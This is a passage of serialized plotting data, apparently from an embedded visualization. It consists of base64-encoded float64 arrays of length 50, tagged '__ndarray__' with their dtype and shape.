QHTBvxr6hS1nE8e/tmbnQQyqzL9kvsmvSBvRvyttWB+s29O/vg6zS2GV1r8i8uwQmUfZv2FmGUuE8du/jbpL1lOS3r/WnktHnJTgv2SfB6ix2uG/dIZjewIb47+P+2gvJ1XkvzemITK4iOW/8y2X8U215r9GOtPbgNrnv7Ry317p9+i/x37F6B8N6r8BBo/nvBnrv+ivRclYHey/ACTz+4sX7b/PCaHt7gfuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"rsafZ4O/7z/joy4xGcLuP/U+6Nq4u+0/99NOWcis7D/0nuSgrZXrPwHcK6bOduo/LsemXZFQ6T+OnNe7WyPoPyuYQLWT7+Y/HPZjPp+15T9v8sNL5HXkPzPJ4tHIMOM/fLZCxbLm4T9e9mUaCJjgP8KJnYtdit4/Orz+dxnd2z86/PPiDynZP+rBgbUMb9Y/aoWs2Nuv0z/cvng1SezQP8XM1WlBSsw/OegOgFy2xj9hwKV/ex7BP9mKRnVsCLc/rJ5BDJKkpz9A2IW9irdjP7zsiu4TJKW/lD9iPdq5tb8oJixsQmvAvwfeChJt8sW/HVdEPtVwy7+c0GePcXLQvwLm0XB/JtO/pvNbWsjT1b9igQFjgHnYvxIXvqHbFtu/nDyNLQ6r3b/uPLUOphrgv1erKMRkWuG/eK2eQl2U4r9DB5WVKcjjv6Z8ichj9eS/j9H55qUb5r/uyWP8iTrnv7IpRRSqUei/zLQbOqBg6b8sL2V5Bmfqv71cn912ZOu/cgFIcotY7L854dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"6LXLv+5o7z9zlihFXG7uP8EJ42I0a+0/8vryddpf7D8fVVDbsUzrP2gD8+8dMuo/6PDSEIIQ6T/DCOiaQejnPw02Kuu/ueY/6GORXmCF5T9yfRVShkvkP8dtriKVDOM/BiBULfDI4T9Mf/7O+oDgP2jtSskwat4/vOKBlljL2z/KtJG/MybZP805av6Ie9Y/BEj7DB/M0z+ltTSlvBjRP96xDAJRxMw/MxDAtFJSxz/IMmPWC93BPwmMq7UTzLg/lNnd12i7qz/QBX+6pZCHP7D8yAHCzp+/GhqYU4DQsr8WV2LaP6G9v5vOiBZqMcS/vknzMRGJyb+W8JDLB9bOv0wLwTdgC9K/rofz1Nak1L8zF3ADoTbXv5zjRgn4v9m/uRaILBVA3L9I2kOzMbbevwgsxXHDkOC/6ty1AafA4b+vFHwsYOrivznoH5WLDeS/amyp3sUp5b8ktiCsqz7mv0najaDZS+e/v+34XuxQ6L9oBWqKgE3pvyQ26cUyQeq/15R+tJ8r679kNjL5Ywzsvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"s8QEDYDu7j+2Jo3In/ftP/O5n2sP+Ow/x+OwEDLw6z+DCTXSauDqP4CQoMocyek/F95nFKuq6D+gV//JeIXnP25i2wXpWeY/3GNw4l4o5T8/wTJ6PfHjP/HflufntOI/SCURRcFz4T+d9hWtLC7gP4pyM3Qayd0/M6UhDYwu2z/eT99ZdI3YPzw9VY+Z5tU//Tds4sE60z/PCg2Is4rQP8YAQWpprss/x8YePRdCxj8O/YTy/NHAP8NxiuhNv7Y/sD7EsIaypz+gsoUGYZ5uP3xxuGgU1aO/BOmriRvCtL92uBckqI6/vyk+/peLJsW/6oTb7Cd9yr8yG9KmnMnPv8o1CK4uhdK/XnBi0e4e1b+j8o6ISLHXv+jxpJ51O9q/hKO73q+83L/IPOoTMTTfv4D5o4SZ0OC/wf31xHcB4r/PxXYwUCzjv1Lssay/UOS/9QszH2Nu5b9dv4Vt14TmvzShNX25k+e/JEzOM6aa6L/WWtt2Opnpv/Bn6CsTj+q/HA6BOM17678E6DCCBV/svw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"l0dTDsNQ7j96iPaz317tP4sjPPibZOw/JHZaP1hi6z+b3YftdFjqP023+mZSR+k/kmDpD1Ev6D/MNopM0RDnP0yXE4Ez7OU/bt+7EdjB5D+QbLliH5LjPwqcQthpXeI/NMuN1hck4T/frqKDE83fPx48h/w/St0/4vg14HXA2j/anxv3dTDYP73rpAkBm9U/QJc+4NcA0z8YXVVDu2LQP/Dvq/bXgss/LEVaoVU7xj9PL48XcfDAP3NHSNRXR7c/Wl/Kpx5aqT84EUB9XqiAP4SseC1f+6C/3u6UvR8Is7/G3C6DQYe9v5Sa6+II/MO/k4btscYryb8JvcOdWFHOvz5kyoqetdG/yZlDRPk71L9pxOCy+7rWv2spNQ7lMdm/IA7UjfSf27/Qt1BpaQTev+Q1H2xBL+C/pzcYCcBW4b/bA10nUHjivyQ9t2KRk+O/JobwViOo5L+JgdKfpbXlv/DRJtm3u+a/Bhq3nvm5579s/EyMCrDov8obsj2Knem/xRqwThiC6r8CnBBbVF3rvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"Ro0yz2uQ7T/fNacTmaTsP57+Gnm+sOs/ULCXQzm16j+7Eye3ZrLpP67x0hekqOg/9xKlqU6Y5z9fQKeww4HmP6xC43BgZeU/suJiLoJD5D836S8thhzjPwgfVLHJ8OE/8UzZ/qnA4D99d5KzCBnfP3BoWwxsqdw/Wv4gkDgz2j/KyvbGKLfXP1pf8Dj3NdU/ok0hbl6w0j86J53uGCfQP2z77oTCNcs/WsWH4+MYxj9zzysJC/nAP615BAxar7c/9MLIqPvYqj8A5SxeXGOJP+A5JrbKN5y/jNk6t7I/sb82/v9w6mW7vwxbRd3XvsK/Y13GOQzCx78H49s9HbvMv11kr+xK1NC/rPUTfoBE07/WEwjLdK3Vv0MteEttDti/YrBQd69m2r+YC37GgLXcv1Kt7LAm+t6/+YFEV/OZ4L/0vp8bA7Hhv89EfmHlweK/vErW5DzM47/wB55hrM/kv6Gzy5PWy+W/BIVVN17A5r9MszEI5qznv651VsIQkei/YAO6IYFs6b+Vk1Li2T7qvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"/FkP2lWu7D8h1e6JoMnrP9rpb0tE3eo/4MDn25rp6T/ngqv4/e7oP6xYEF/H7ec/5WprzFDm5j9R4hH+89jlP6LnWLEKxuQ/lKOVo+6t4z/ePh2S+ZDiPz3iRDqFb+E/ZbZhWetJ4D8qyJFZC0HePwEon+Nb59s/xt2Vy3uH2T/oOiCMHiLXP9yQ6J/3t9Q/ETGZgbpJ0j/z2bhXNbDPPxQsuTKXx8o/ZPuHiQHbxT/M6nlR2+vAP0k6x/8W97c/btVmKOQtrD+AsoYrV+iQP5ToEsa/cpa/yAetbCLVrr/SauoYwCy5v5GUS1c3cMG/grxZhmdBxr9lCkukiQjLv0vbyrs2xM+/LEbC64M50r9QvREBy4nUv5+BKSM90ta/rUFf1yYS2b8ErAij1EjbvzRvewuTdd2/yDkNlq6X378o3QnkOdfgv65PcpOX3OG/vcvqm5bb4r+aKB5A3dPjv409t8IRxeS/3uFgZtqu5b/U7MVt3ZDmv7U1kRvBaue/yJNtsis86L9W3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"DpqxPYOr6z9T5AwL8M7qP/esGeMe6+k/fdnHmWUA6T9bTwcDGg/oPxX0x/KRF+c/JK35PCMa5j8MYIy1IxflP0bybzDpDuQ/UUmUgckB4z+sSul8GvDhP9XbXvYx2uA/lsTJg8uA3z8Wh9ZmF0bdPyXKwz3zBNs/xFhxsAq+2D/l/b5mCXLWP4uEjAibIdQ/sre5PWvN0T+oxExcS+zOP+GeZAPsOMo//pN6wA+CxT8DOk7jDcnAP7lNPnd7Hrg/CMKzZNpXrT+sZ7ldfvSUP4xuFOj6rJC/mKcCRf4Uq7+OIocC8922vwGuS911EcC/EWqZVV2rxL+SL22aWDvJv31oB1wQwM2/cT9UpRYc0b9hbkgLLFHTvxB2ALicftW/jIucA72j17/R4zxG4b/Zv+WzAdhd0tu/yTALEYfa3b+Hj3lJsdffv5CCtmyY5OC/TOOCDC3X4b94BDKwQMPiv5cA1IN9qOO/LfJ4s42G5L+58zBrG13lv78fDNfQK+a/wJAaI1jy5r8+YWx7W7Dnvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"1VGvZhuJ6j+Y3t6/pbXpP8CP9rZi2+g/+4IU2KP65z/21VavuhPnP1ym28j4JuY/3BHBsK805T8pNiXzMD3kP+gwJhzOQOM/yh/it9g/4j9+IHdSojrhP69QA3h8MeA/GZxJaXFJ3j+MbPMoUSncPwpOQEc7A9o/8nts3NLX1z+dMbQAu6fVP2eqU8yWc9M/riGHVwk80T+PpRV1awPOPyfyNRt+isk/1p/n0ZAOxT9aJaPJ6ZDAP7PywWWeJbg/Vkpm+BxWrj8UPivewNKYP0gGMTqA14W/0nydvotCp7/eG57vxHu0v8RLQ9fgR72/TrCmmoYBw7+NtmXUXlXHv9xBZugynsu/jNsvprzaz79wBqXu2gTSv5Evni7sFNS/0i3H+u4c1r/VxeM6QBzYv0C8t9Y8Etq/tNUGtkH+27/b1pTAq9/dv1qEJd7Xtd+/aVE+exHA4L91+6749J7hv6KiRttEd+K/Rinnlq9I47+xcXKf4xLkvzReymiP1eS/JNHQZmGQ5b/TrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"bf84zmlI6T/pushgiH/oP3tzOeJYsec/rOI3vyLe5j8CwnBkLQbmPwbLkD7AKeU/RLdEuiJJ5D9FQDlEnGTjP40fG0l0fOI/qQ6XNfKQ4T8fx1l2XaLgP/UEIPD6Yd8/hvTMTjN63T8K0BPi8o3bP4cKToPIndk/FhfVC0Oq1z/FaAJV8bPVP6dyLzhiu9M/zqe1jiTB0T+a9txjjovPP2jAZvaxk8s/K5O7h9Gbxz8MVY7KCqXDP0bYI+P2YL8/Mn3yXoJ+tz9Iytzb5kmvP7Bx9dUVWp8/ADwvBdtzNT9kWFHwF3Cev6DO0lRZd66/ETiUykTHtr8x/C73kjy+v6zzaeWtzMK/o5YO8LFtxr/YgNLoNwDKvyLMAh0ig82/NEn2bKl60L/Bdm421irSv6Z7kJGI0dO/0eQCpTFu1b8xP2yXQgDXv7YXc48sh9i/Svu9s2AC2r/edvMqUHHbv18Xuhts09y/v2m4rCUo3r/n+pQE7m7fv+Ur+ySbU+C/qYbB0Tfo4L841PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"YFHAf9zq5z+lgI8JriznP5cpGTovaeY/W4LjNaWg5T8QwXQhVdPkP9cbUyGEAeQ/08gEWncr4z8q/g/wc1HiP/fx+ge/c+E/YdpLxp2S4D8L2xGfqlzfPxXDcJBVjt0/H9nAqca62z9yiQ40iOLZP01AZngkBtg/9mnUvyUm1j+rcmVTFkPUP7jGJXyAXdI/XNIhg+510D+6A8xi1RnNP/yC/Z/+Rck/A/vwT21xxT9iRL8ENp3BPyJvAqHalLs/Plqfik/0sz9I9g3V57WoP7ALrJPDK5M/MOsWEIPMhb9+6SGMzWCkvxKSDSNpl7G/QwTHVG7suL8szYWbphbAv5jR1FLuq8O/5bY3vvk0x7+GpJVLtLDKv/DB1WgJHs6/U5vvQfK90L8NlUyFmGTSv+JhdTVtAtS/j5VdCeaW1b/Qw/i3eCHXv2KAOviaodi/AV8WgcIW2r9n838JZYDbv1DRakj43dy/f4zK9PEu3r+ouJLFx3Lfv8Z027h3VOC/clkVWG/o4L841PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"mgwpdwJy5j9F/FM2pL/lP5Nz+9t/COU/iixtKNVM5D8j4fbb44zjP2FL5rbryOI/QiWJeSwB4j/NKC3k5TXhP/kPILdXZ+A/mClfZYMr3z+F4lIux4LdP76+tkn61Ns/PzImOJwi2j8QsTx6LGzYPyivlZAqstY/jaDM+xX11D87+Xw8bjXTPzQtQtOyc9E/8GBvgcZgzz8O7vEK/tfLP8PpQkQLTsg/DzyZLu3DxD/3zCvLojrBP98IYzZWZrs/AJXCPwpdtD+kHMhpv7aqP2wT1WBSjZk/AO9+eyIjYb9gWoczrZ+dvxAR3SBIbqy/Pj0UXMX0tL/SJGUt0Z67v5a3+cCkGcG/LaaoKxhYxL8qdojVw4nHv4c/Yr2orcq/UBr/4cfCzb9ADxQhEWTQvwsyU25c3tG/h4EhWMZP07+4ieNdz7fUv5vW/f73Fda/MfTUusBp1796bs0QqrLYv3LRS4A08Nm/IKm0iOAh27+AgWypLkfcv5Lm12GfX92/VmRbMbNq3r/MhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"ZwZh2Ynf5D/Wd18sxznkPz/A2qfNj+M/E9V8Ydfh4j+6q+9uHjDiP6I53eXceuE/N3Tv20zC4D/pUNBmqAbgPzuKUzhTkN4/jYxLIxUO3T+fk9y5CofbP0iKWieo+9k/ZFsZl2Fs2D/N8Ww0q9nWP1c4qSr5Q9U/3xkipb+r0z86gSvPchHSP0RZGdSGddA/rBl/vt+wzT+SDeQ3RHXKP+pjCWsjOcc/avKWrmX9wz/EjjRZ88LAP0gdFINpFbs/fY9+fCSrtD8jP/CX0JGsP7DjQXsWwp8/MG50JdI8ej9wLI/wwW2Sv2Qjoh7FlqW/bOHgaTjqsL//joNeIfa2v/Vu6b9M7by/+Gph8PRmwb9EDOAJFEvEv6nFyFUbIse/fsFzfSLryb8LKjkqQaXMv6ApcQWPT8+/RPU53JH00L+Ky0x2izjSv8ksnSVAc9O/Jy7Xvjuk1L/M5KYWCsvVv9xluAE359a/gsa3VE7417/kG1Hk2/3Yvyd7MIVr99m/c/kBDInk2r/wq3FNwMTbvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"TQFnCT414z/d0kzx05ziPwisdq/GAOI/Y6Oxbkph4T+Gz8pZk77gPwhHj5vVGOA//kCYvYrg3j8L5ZycLYrdP12nxin8Ltw/JLWvul7P2j+QO/KkvWvZP85nKD6BBNg/DWfs2xGa1j98ZtjT1yzVP0iThns7vdM/nRqRKKVL0j+qKZIwfdjQPz3bR9JXyM4/TifBTzPeyz/kkcSEXfPIP151hhynCMY/FSw7wuAewz9rEBch2zbAP2T5nMjNoro/l5YrbqnetD9VWoUS1UWuP7PjleBk4qI/cMpozRNZjj+Ae+JCQNp8v/hxeMv+XZ2/jiD0d56hqb9sThlJ8TeyvyUi04NEi7e/wda+lSfJvL/C2zmU/PfAv9iHxPILf8O/ThVLO/H4xb/CKZnC22TIv9xqet36wcq/On664H0Pzb+FCSUhlEzPvzDZwnk2vNC/Nw9U1hvJ0b+o+avQkczSv1drMBMwxtO/FjdHSI611L+3L1YaRJrVvwoowzPpc9a/4/LzPhVC178SY07mXwTYvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"JtTwmwV14T+rFsiYh+rgP/j3iArKXOA/rwYbGPiX3z8eiF9wmXDeP9KKk1PWQ90/XCVr9wwS3D9TbpqRm9vaP0F81VfgoNk/vWXQfzli2D9UQT8/BSDXP54l1suh2tU/KSlJW22S1D+KYkwjxkfTP07ok1kK+9E/DdHTM5is0D+kZoDPm7nOP2VLGlYTGMw/gn3dZlN1yT8cKjJtGNLGP1Z+gNQeL8Q/WKcwCCONwT+HpFXnwtm9P3RYrgQtnrg/wMQ7P/1osz9lh5zbWHesPzhfbM5mL6I/sBUfElj0jz8wi4SjPuVwv1Thtx3CNZi/yKMZ/aP6pb9O9ojx/rivv82ZRB+AqbS/k9M8G9tiub8qztyVFwe+v6YXKlxeSsG/XU7p1SiFw78T3sPMLrPFv6aZUdWz08e/71MqhPvlyb/P3+VtSenLvyAQHCfh3M2/vrdkRAbAz7/D1Cst/sjQvyhcxn4DqdG/gdtN4bR/0r84PA4ftEzTv71nUwKjD9S/fUdpVSPI1L/nxJvi1nXVvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"waxnDQhD5j9Nr8OQ8o/lP33i9BnX0+Q/LvUnwwsP5D8ylomm5kHjP2d0Rt69bOI/oz6LhOeP4T/Do4SzuavgPzGlvgoVgd8/AvSPKGCd3T+pkdb0AK3bP9jb66OjsNk/PzApavSo1z+V7Od7n5bVP4JugQ1RetM/whNPU7VU0T/1c1QD8UzOP8592JmN4Mk/agDd0phlxT8ptxQXa93AP/C6ZJ65krg/yrqijxmrrj/sMVPvARiYP2AIXKHTyYq/0iiUbeaKqb/RdqH6+Du2v3YxTO4aur+/12YyIJSexL9P6sIPOGHJv8LnJN2gI86/49HSDzty0b+EMUm3L9HTvww1nDACLta/zn5yRwaI2L8SsXLHj97avypuQ3zyMN2/Z1iLMYJ+378LiXhZSePgv8OeDeY7BOK/gD5YpMIh479tuSt6hzvkv7BgW000UeW/cIW6A3Ni5r/TeByD7W7nvwGMVLFNdui/JBA2dD146b9gVpSxZnTqv92vQk9zauu/w20UMw1a7L844dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"57wb6sNd6D+fdcEQnJrnPxwS1MFEz+Y/DyJ2NhP85T8lNcqnXCHlPxHb8k52P+Q/gaMSZbVW4z8sHkwjb2fiP7nawcL4ceE/32iWfKd24D+YsNgToeveP2FxzEeS39w/ejNNB83J2j9IFqDE+6rYPyU5CvLIg9Y/d7vQAd9U1D+avDhm6B7SP+G3DiMfxc8/vnED7P1Ayz+A5dkLwrLGP/dRHGfAG8I/r+upxJv6uj/hHxzEfrGxP9R7RyunvaA/IJVXtX9Xb7+WpHVZDLGkv3YFeC7ht7O/vNjNOSMWvb9H59NCUTjDv7O0eKRa4se/3BVL3diHzL8IZmCEu5PQvz7MJyHw39K/Np620t8n1b+MvMcm4GrXv9sHFqtGqNm/ymBc7Wjf27/2p1V7nA/ev/5eXnEbHOC/vEGm2EYs4b+K7F86+zfiv7PPaF3jPuO/iFueCKpA5L9YAN4C+jzlv3IuBRN+M+a/KVbx/+Aj57/K53+QzQ3ov6VTjovu8Oi/CQr6t+7M6b9He6DceKHqvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"i5NS4tk+6j9r/aU8xHDpP76SV0n/oeg/detqdbvS5z98n+MtKQPnP8tGxd94M+Y/TnkT+Npj5T/7ztHjf5TkP77fAxCYxeM/ikOt6VP34j9QktHd4yniPwRkdFl4XeE/klCZyUGS4D/h34c24ZDfPxi073ZqAN4/sE1xLoBz3D+H3BM3g+raP4KQ3mrUZdk/hZnYo9Tl1z9wJwm85GrWPyNqd41l9dQ/hZEq8reF0z94zSnEPBzSP9hNfN1UudA/GoVSMMK6zj/ttm+chBHMP/KQXrOyd8k/6HItKQ7uxj+UvOqxWHXEP73NpAFUDsI/VgzUmINzvz8ui5GMx/C6P53Xnkb3lbY/IrEYL5Zksj+frjdcT7ysP1oTildeCKU/4h7EQMBgmz8UiOQbbt2KPwARZcStKzA/ZuTVRpZGiL9dURDhKLeXv4XFtXBuOqG/idAEwiwrpr+qyjuUyKqqv9E0IRc7tq6//Mc9vT4lsb+Frgh3RLKyv3iO1FCrALS/UKiE4u8Otb+CPPzDjtu1vw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"/dF15uwst7zvOVDOHVw6vxD0/n3lLVq/pHNj06I/bb82hlzddNF5vy7XME6HB4S/QF9RxKSjjL+wUAAhNFqTv9SxF5yTGJm/GDbni5uIn79EoHNU+1KjvxcayNUnNqe/EDotpqhrq7+qMd8hU/GvvzwZjVJ+YrK/+TYNRj3ytL/WCo4Z0aa3v5OtLXskf7q/7jcKGSJ6vb9Z4aBQWkvAv04z+WDj6cG/OR6dlCGYw796rptCilXFv3XwA8KSIce/i/DkabD7yL8bu02RWOPKv4VcTY8A2My/MuHyuh3Zzr+/qqa1EnPQv+bitXtGf9G/O58u2+SQ0r/2ZZh/qKfTv0K9ehRMw9S/VCtdRYrj1b9YNse9HQjXv4BkQCnBMNi/ADxQMy9d2b8GQ36HIo3av8P/UdFVwNu/Z/hSvIP23L8lswj0Zi/evyy2+iO6at+/10PY+xtU4L/s1liNzfPgv3DXQhxPlOG/egha/n014r8jLWKJN9fiv4IIHxNZeeO/sV1U8b8b5L/I78V5Sb7kvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"9D4CKwfksT8uqQfe2zCxP4ec2j7oMLA/zqcJqcjLrT9VFCBMEKOqP2v0C3UX66Y/z73gMU6noj+XzGMhSbabPzbHJT8VFJE/NVy5ZIO7dT+GYW7Rz8l8v5AbUQ0JyZS/gKPFKv+mob+Gl3HYOV2pvxZ6zEDiwbC/ziEUjJcLtb8SCAbHBIq5v/5xmOpxO76/VNLgdxOPwb+d8rvnNRjEv2W8WEFEuMa/PlIygWJuyb+01sOjtDnMv1xsiKVeGc+/4Jp9QUIG0b+4qkscJYnSv/72a+HpFNS/+hAcjyKp1b/0iZkjYUXXvzHzIZ036di/+d3y+TeU2r+Y20k49EXcv1J9ZFb+/d2/cFSAUui7378ceW0Vor/gv/jz2O7Ro+G/cmOhtEyK4r8ukOVl23Ljv81CxAFHXeS/9ENch1hJ5b9JXMz12Dbmv21UM0yRJee/BfWviUoV6L+0BmGtzQXpvx5SZbbj9um/6Z/bo1Xo6r+2uOJ07NnrvytlmShxy+y/6m0evqy87b+Xm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"bdvgcdTYwT8PT5os5UHBP7C4wHQylcA/OgDgnZ2mvz9GGoh/mfm9PyCPsZd9JLw/ZC6U724ouj+zx2eQkga4P6AqZIMNwLU/zCbB0QRWsz/Ui7aEncmwP6FS+Er5N6w/vZ2Teo6cpj88mK6qRMOgP5LCcdvLXJU/kGCIWPGAgT8YIDFNcCdxv+BnYD6evZG/zPAYsDmWn782UsshjeemvyEi/enVMa6/fCQZj9bTsr+6k/1VZKO2vzcPdEBvhrq/VsdERdJ7vr889pstNEHBv37XijyGTMO/qR/Tykxfxb/s5thT9XjHv3pFAFPtmMm/gFOtQ6K+y786KUShgenNv2hvlHN8DNC/P8ZfyDom0b83JbaMskHSv2iYSX6aXtO/8CvMWql81L/l6+/flZvVv2DkZssWu9a/eiHj2uLa179OrxbMsPrYv/OZs1w3Gtq/hO1rSi05278WtvFSSVfcv8T/9jNCdN2/q9Ytq86P3r/gRkh2panfvz4ufKm+YOC/zBF4f4br4L8o1PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"SgSp4E2pyj/U63EN/dHJP0BwsGk17sg/xQm96mb+xz+WMPCFAQPHP+1cojB1/MU//wYs4DHrxD8Gp+WJp8/DPzO1JyNGqsI/wqlKoX17wT/l/Kb5vUPAP6xNKkPuBr4/lT/bHDJ2uz/6vxFrJ9a4Pz2/fhiuJ7Y/0y3TD6Zrsz8h/L8776KwPzk17A3TnKs/YfNMuOndpT+UEwRM4gqgP1/t5jz5SpQ/JvbzE+K9gD+gb9evolZtvzAYaHCunY+/oJ3t8ZcJnL9j8DFsyyukv+mJaSCqWqq/St0dINRHsL/CUCP7gmSzv+4ulLaBgra/W4e/Z/Cgub+pafQj7768v1/lgQCe27+/C4VbiQ57wb+uc/E3xgbDv2JGqhaGkMS/8oQtMN4Xxr8ntyKPXpzHv8pkMT6XHcm/oRUBSBibyr98UTm3cRTMvx6ggZYzic2/VomB8O34zr90SvBnmDHQv08lox/G49C/IxmtJMiS0b/S6WF8Zj7Sv0JbFSxp5tK/WDEbOZiK07/3L8eouyrUvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"urKWkjOs0T9YZU/LxhnRP38iudPJd9A/DCbYpVuNzz+CvwDgxw3OPw9jHKS6ccw/X2JbQBa6yj8iD+4CvefIP/+6BDqR+8Y/pbfPM3X2xD/AVn8+S9nCP//pQ6j1pMA/E4abfq20vD8mZ5qjofS3P4Ua5VuMC7M/Joe4h2T2qz8yC8Hvr4qhP9gflKIQXos/UO9oU1Z+gL8g8/YfKK6ev3pq/Q9uy6q/9GMPLo08s7+PJc/dRy65v7xW3XoiOb+/EqpsNKytwr8yPbGFksnFvxATDONh78i/CNpM/jcezL9pQEOJMlXPv0N635q3SdG/V9LH2gXs0r+gf0LdEpHUv0JZN3ttONa/azaOjaTh179C7i7tRozZv/BXAXPjN9u/oErt9wjk3L9/ndpURpDev9mTWDEVHuC/MmAs/aHz4L9gn1z6kMjhv/c8XZWpnOK/jSSiOrNv47+2QZ9WdUHkvwaAyFW3EeW/FMuRpEDg5b90Dm+v2Kzmv7s11OJGd+e/fSw1q1I/6L9P3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"s9RTpaDt1T8xFxoaOj/VP8MVdwHii9Q/ZnWhIdjT0z8U289AXBfTP8rrOCWuVtI/gUwTlQ2S0T88opVWusnQP9kj7V/o+88/LIHZzvVdzj9hpl2GHLrMP3Td5hLcEMs/WnDiALRiyT8Qqb3cI7DHP4bR5TKr+cU/uTPIj8k/xD+bGdJ//oLCPyfNcI/Jw8A/pzAjllQFvj81ikN+QIC6P+E6HfBV+bY/oNaKBJRxsz/E4s2o89OvPxo+GPEMx6g/KuepE3K+oT+qC3CEQniVP/gPvnPFEH4/aOQNr0tteb/Gmz7yTSKUvybKi6lh5qC/bglyVVurp7/34xzLFV6uv+aYa2xJfrK/juV1JmrCtb/+w9L6bfq4v0igp9BVJby/guYZjyJCv79egaeO6ifBv4EwNjG3psK/tLbLovccxL//yfpWLIrFv2wgVsHV7ca/AnBwVXRHyL/IbtyGiJbJv8fSLMmS2sq/DFL0jxMTzL+bosVOiz/Nv316M3l6X86/uo/QgmFyz78uzJdv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"8NwCYJoT2j8Dg6U2VUXZPzHHKEVmc9g/QghWkQ2e1z/8pPYgi8XWPyf80/ke6tU/jGy3IQkM1T/3VGqeiSvUPygUtnXgSNM/7ghkrU1k0j8Qkj1LEX7RP1UODFVrltA/DbkxoTdbzz/atlqHxYfNP5/TJWgAs8s/78wlT2jdyT9VYO1HfQfIP2dLD16/McY/tEsena5cxD/NHq0Qy4jCP0GCTsSUtsA/RWcqhxfNvT8H4Sc0YDK6P93suqYDnrY/8wUJ9gERsz/ITm9ythivP66Y2A4fIqg/0d+Y7z1AoT/kNPaFJuqUP6j2Ubr5FH4/yOV1KfCodr8WxEmISKCSv551mq7mWJ+/zdBcEAvopb+5rQhB6wCsv6btgt2J+rC/rLEEKELhs7/IJ+RonrO2v9rU+4iecLm/uz0mcUIXvL9S5z0Kiqa+vz6rjp66jsC/C4hP+YG9wb+AzM4JG9/Cvwq7ecQF88O/Hpa9HcL4xL8noAcK0O/Fv5cbxX2v18a/3EpjbeCvx79lcE/N4nfIvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"E7owV+8Y3j8cybepBybdPy+indNeJdw/6gGtiHEX2z/kpLB8vPzZP7tHc2O81dg/DKe/8O2i1z9zf2DYzWTWP4mNIM7YG9U/6o3KhYvI0z81PSmzYmvSPwNYBwrbBNE/5DVffOIqzz8+hdkGRDvMP0MXExvUO8k/MmWhIIwtxj876Bl/ZRHDPzQzJDyz0L8/FOU+ysNmuT9+2K537+ayP8X/PSdSpqg/ujbptI21lj8gukTF6oZwv9hmh6dpMZ+/INSG+Nk4rb9ACk6Us3a1v9TH1mI7Wby/NFhZzAihwb/GaFuzoRfFv2Qc3P5uj8i/0vlFR3cHzL/mhwMlwX7Pv6+mP5gpetG/hOgRAZoz07/UzC0ZNevUvwGXyCx+oNa/dYoXiPhS2L+R6k93JwLav7r6pkaOrdu/UP5RQrBU3b++OIa2EPfev7J2vHcZSuC/1K+vHM0V4b92aTfwZN7hv0pFbpiio+K/BOVuu0dl479V6lP/FSPkv+72NwrP3OS/g6w1gjSS5b/FrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"oNVbfkv84D/cjn3KM3fgP+iXd/Jw5N8/jiFm2uva3j9ewv8REdLdPxSCfV4Zytw/aWgYhT3D2z8cfQlLtr3aP97HiXW8udk/a1DSyYi32D9+HhwNVLfXP9A5oARXudY/HKqXdcq91T8bdzsl58TUP4SoxNjlztM/FUZsVf/b0j+CV2tgbOzRP4jk+r5lANE/4PRTNiQY0D+FIF8XwWfOP9R8jQinp8w/IQ6lymvwyj/h4xfogELJP4ENWOtXnsc/d5rXXmIExj80mgjNEXXEPzAcXcDX8MI/2i9HwyV4wT+m5DhgbQvAPwyUSENAVr0/4t72I1+vuj+pyGB3GiO4P01walJVsrU/s/T3yfJdsz/DdO3y1SaxP8keXsTDG64/78ZBWfMnqj/LH07OAHSmPylnS02yAaM/srUDAJylnz9BcXMgNNKZP5h8dk+5jJQ/rqY6wW+xjz8o4vBOeHOHP9eiMO+k